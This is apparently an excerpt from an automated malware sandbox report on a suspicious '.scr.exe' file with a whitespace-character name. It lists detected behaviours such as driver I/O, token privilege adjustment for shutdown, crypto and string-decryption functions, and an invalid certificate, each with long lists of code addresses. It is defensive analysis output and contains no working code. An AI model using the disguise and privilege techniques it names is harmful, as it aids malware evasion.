Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E9D2C0: CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW, 68_2_00007FF7F7E9D2C0
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ECB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx, 68_2_00007FF7F7ECB57C
Detected potential crypto function
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE36370 0_2_00007FF73AE36370
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE17950 0_2_00007FF73AE17950
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE372BC 0_2_00007FF73AE372BC
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE30F38 0_2_00007FF73AE30F38
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE27E4C 0_2_00007FF73AE27E4C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE2EB30 0_2_00007FF73AE2EB30
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE2E4B0 0_2_00007FF73AE2E4B0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE27C98 0_2_00007FF73AE27C98
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE21C90 0_2_00007FF73AE21C90
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE2A430 0_2_00007FF73AE2A430
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE23AE4 0_2_00007FF73AE23AE4
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE222A4 0_2_00007FF73AE222A4
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE30F38 0_2_00007FF73AE30F38
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE34280 0_2_00007FF73AE34280
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE21A84 0_2_00007FF73AE21A84
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE39FF8 0_2_00007FF73AE39FF8
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE18FD0 0_2_00007FF73AE18FD0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE27E4C 0_2_00007FF73AE27E4C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE11F50 0_2_00007FF73AE11F50
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE25F30 0_2_00007FF73AE25F30
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE3471C 0_2_00007FF73AE3471C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE220A0 0_2_00007FF73AE220A0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE21880 0_2_00007FF73AE21880
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE2E01C 0_2_00007FF73AE2E01C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE365EC 0_2_00007FF73AE365EC
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE36D70 0_2_00007FF73AE36D70
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE22D50 0_2_00007FF73AE22D50
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE236E0 0_2_00007FF73AE236E0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE31EE4 0_2_00007FF73AE31EE4
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE286D0 0_2_00007FF73AE286D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE21E94 0_2_00007FF73AE21E94
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A80918A0 2_2_00007FF8A80918A0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A80912F0 2_2_00007FF8A80912F0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86A7B30 2_2_00007FF8A86A7B30
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F9AB0 2_2_00007FF8A86F9AB0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8762BB0 2_2_00007FF8A8762BB0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F9060 2_2_00007FF8A86F9060
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A875B060 2_2_00007FF8A875B060
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87411D0 2_2_00007FF8A87411D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8701630 2_2_00007FF8A8701630
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A872E990 2_2_00007FF8A872E990
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A875099B 2_2_00007FF8A875099B
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86EA940 2_2_00007FF8A86EA940
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8715960 2_2_00007FF8A8715960
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8703980 2_2_00007FF8A8703980
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8745A40 2_2_00007FF8A8745A40
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A871BB91 2_2_00007FF8A871BB91
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8723BA0 2_2_00007FF8A8723BA0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8775B00 2_2_00007FF8A8775B00
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E3BC0 2_2_00007FF8A86E3BC0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8726B40 2_2_00007FF8A8726B40
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86EFC70 2_2_00007FF8A86EFC70
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8708CB0 2_2_00007FF8A8708CB0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E9C80 2_2_00007FF8A86E9C80
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8739D80 2_2_00007FF8A8739D80
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A877FD80 2_2_00007FF8A877FD80
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A872DDA0 2_2_00007FF8A872DDA0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86FCDE0 2_2_00007FF8A86FCDE0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86EBDA0 2_2_00007FF8A86EBDA0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8775EF0 2_2_00007FF8A8775EF0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A874AE70 2_2_00007FF8A874AE70
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F7F60 2_2_00007FF8A86F7F60
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A873EFB0 2_2_00007FF8A873EFB0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8789FE0 2_2_00007FF8A8789FE0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A870CFE0 2_2_00007FF8A870CFE0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86FBFA0 2_2_00007FF8A86FBFA0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F1060 2_2_00007FF8A86F1060
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E7030 2_2_00007FF8A86E7030
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87A10E0 2_2_00007FF8A87A10E0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8729010 2_2_00007FF8A8729010
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E40B0 2_2_00007FF8A86E40B0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A874A110 2_2_00007FF8A874A110
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A877A280 2_2_00007FF8A877A280
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87062F0 2_2_00007FF8A87062F0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87072D0 2_2_00007FF8A87072D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E3295 2_2_00007FF8A86E3295
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87433B0 2_2_00007FF8A87433B0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8784330 2_2_00007FF8A8784330
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A873A490 2_2_00007FF8A873A490
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A870E4D0 2_2_00007FF8A870E4D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E74B1 2_2_00007FF8A86E74B1
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F3490 2_2_00007FF8A86F3490
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8752580 2_2_00007FF8A8752580
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8724590 2_2_00007FF8A8724590
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87885B0 2_2_00007FF8A87885B0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87835D0 2_2_00007FF8A87835D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E4510 2_2_00007FF8A86E4510
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A870C530 2_2_00007FF8A870C530
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A873B530 2_2_00007FF8A873B530
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E9640 2_2_00007FF8A86E9640
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87876C0 2_2_00007FF8A87876C0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86F66F0 2_2_00007FF8A86F66F0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8710790 2_2_00007FF8A8710790
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87827A0 2_2_00007FF8A87827A0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A870D7C0 2_2_00007FF8A870D7C0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A872F7D0 2_2_00007FF8A872F7D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E77C4 2_2_00007FF8A86E77C4
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E47C0 2_2_00007FF8A86E47C0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A8784750 2_2_00007FF8A8784750
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A87558A0 2_2_00007FF8A87558A0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86E282E 2_2_00007FF8A86E282E
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A878E8E0 2_2_00007FF8A878E8E0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A86FC800 2_2_00007FF8A86FC800
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 2_2_00007FF8A878C870 2_2_00007FF8A878C870
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FF847883027 7_2_00007FF847883027
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E81884 68_2_00007FF7F7E81884
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8B540 68_2_00007FF7F7E8B540
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E954C0 68_2_00007FF7F7E954C0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E882F0 68_2_00007FF7F7E882F0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E91180 68_2_00007FF7F7E91180
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAAE10 68_2_00007FF7F7EAAE10
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8ABA0 68_2_00007FF7F7E8ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB7B24 68_2_00007FF7F7EB7B24
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E90A2C 68_2_00007FF7F7E90A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC190C 68_2_00007FF7F7EC190C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB0904 68_2_00007FF7F7EB0904
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB38E8 68_2_00007FF7F7EB38E8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED18A8 68_2_00007FF7F7ED18A8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E92890 68_2_00007FF7F7E92890
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E88884 68_2_00007FF7F7E88884
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EA67E0 68_2_00007FF7F7EA67E0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E917C8 68_2_00007FF7F7E917C8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBA710 68_2_00007FF7F7EBA710
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC0710 68_2_00007FF7F7EC0710
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC2700 68_2_00007FF7F7EC2700
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EE86D4 68_2_00007FF7F7EE86D4
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E986C4 68_2_00007FF7F7E986C4
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED7660 68_2_00007FF7F7ED7660
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED260C 68_2_00007FF7F7ED260C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB65FC 68_2_00007FF7F7EB65FC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAF5B0 68_2_00007FF7F7EAF5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E98598 68_2_00007FF7F7E98598
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBF59C 68_2_00007FF7F7EBF59C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8A504 68_2_00007FF7F7E8A504
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC5468 68_2_00007FF7F7EC5468
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAD458 68_2_00007FF7F7EAD458
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAC3E0 68_2_00007FF7F7EAC3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB0374 68_2_00007FF7F7EB0374
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E92360 68_2_00007FF7F7E92360
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED832C 68_2_00007FF7F7ED832C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED1314 68_2_00007FF7F7ED1314
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E842E0 68_2_00007FF7F7E842E0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E9D2C0 68_2_00007FF7F7E9D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC02A4 68_2_00007FF7F7EC02A4
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED2268 68_2_00007FF7F7ED2268
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8F24C 68_2_00007FF7F7E8F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EA7244 68_2_00007FF7F7EA7244
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E9E21C 68_2_00007FF7F7E9E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EE41CC 68_2_00007FF7F7EE41CC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC81CC 68_2_00007FF7F7EC81CC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC2164 68_2_00007FF7F7EC2164
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EA0104 68_2_00007FF7F7EA0104
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EE00F0 68_2_00007FF7F7EE00F0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB0074 68_2_00007FF7F7EB0074
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAC05C 68_2_00007FF7F7EAC05C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB8040 68_2_00007FF7F7EB8040
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E93030 68_2_00007FF7F7E93030
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBC00C 68_2_00007FF7F7EBC00C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC4FE8 68_2_00007FF7F7EC4FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EEDFD8 68_2_00007FF7F7EEDFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EEAF90 68_2_00007FF7F7EEAF90
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB5F4C 68_2_00007FF7F7EB5F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBAF0C 68_2_00007FF7F7EBAF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E89EFC 68_2_00007FF7F7E89EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ECEEA4 68_2_00007FF7F7ECEEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8CE84 68_2_00007FF7F7E8CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EDFE74 68_2_00007FF7F7EDFE74
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E98E68 68_2_00007FF7F7E98E68
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ECAE50 68_2_00007FF7F7ECAE50
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8EE08 68_2_00007FF7F7E8EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E91E04 68_2_00007FF7F7E91E04
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED1DCC 68_2_00007FF7F7ED1DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC9D74 68_2_00007FF7F7EC9D74
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EB0D20 68_2_00007FF7F7EB0D20
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED6D0C 68_2_00007FF7F7ED6D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EA9D0C 68_2_00007FF7F7EA9D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8DD04 68_2_00007FF7F7E8DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC5C8C 68_2_00007FF7F7EC5C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E98C30 68_2_00007FF7F7E98C30
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7ED9B98 68_2_00007FF7F7ED9B98
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC4B38 68_2_00007FF7F7EC4B38
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E8CB14 68_2_00007FF7F7E8CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EEAAC0 68_2_00007FF7F7EEAAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC5A70 68_2_00007FF7F7EC5A70
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBFA6C 68_2_00007FF7F7EBFA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EC69FD 68_2_00007FF7F7EC69FD
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E849B8 68_2_00007FF7F7E849B8
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EAD97C 68_2_00007FF7F7EAD97C
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EBD91C 68_2_00007FF7F7EBD91C
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: String function: 00007FF8A86EA550 appears 165 times
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: String function: 00007FF8A86E94B0 appears 134 times
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: String function: 00007FF8A8710F90 appears 34 times
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: String function: 00007FF73AE12B30 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: String function: 00007FF7F7E98444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: String function: 00007FF7F7EC49F4 appears 53 times
PE / OLE file has an invalid certificate
Source: #U202f#U202f#U2005#U00a0.scr.exe Static PE information: invalid certificate
PE file contains executable resources (Code or Archives)
Source: rar.exe.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
PE file does not import any functions
Source: api-ms-win-core-processenvironment-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
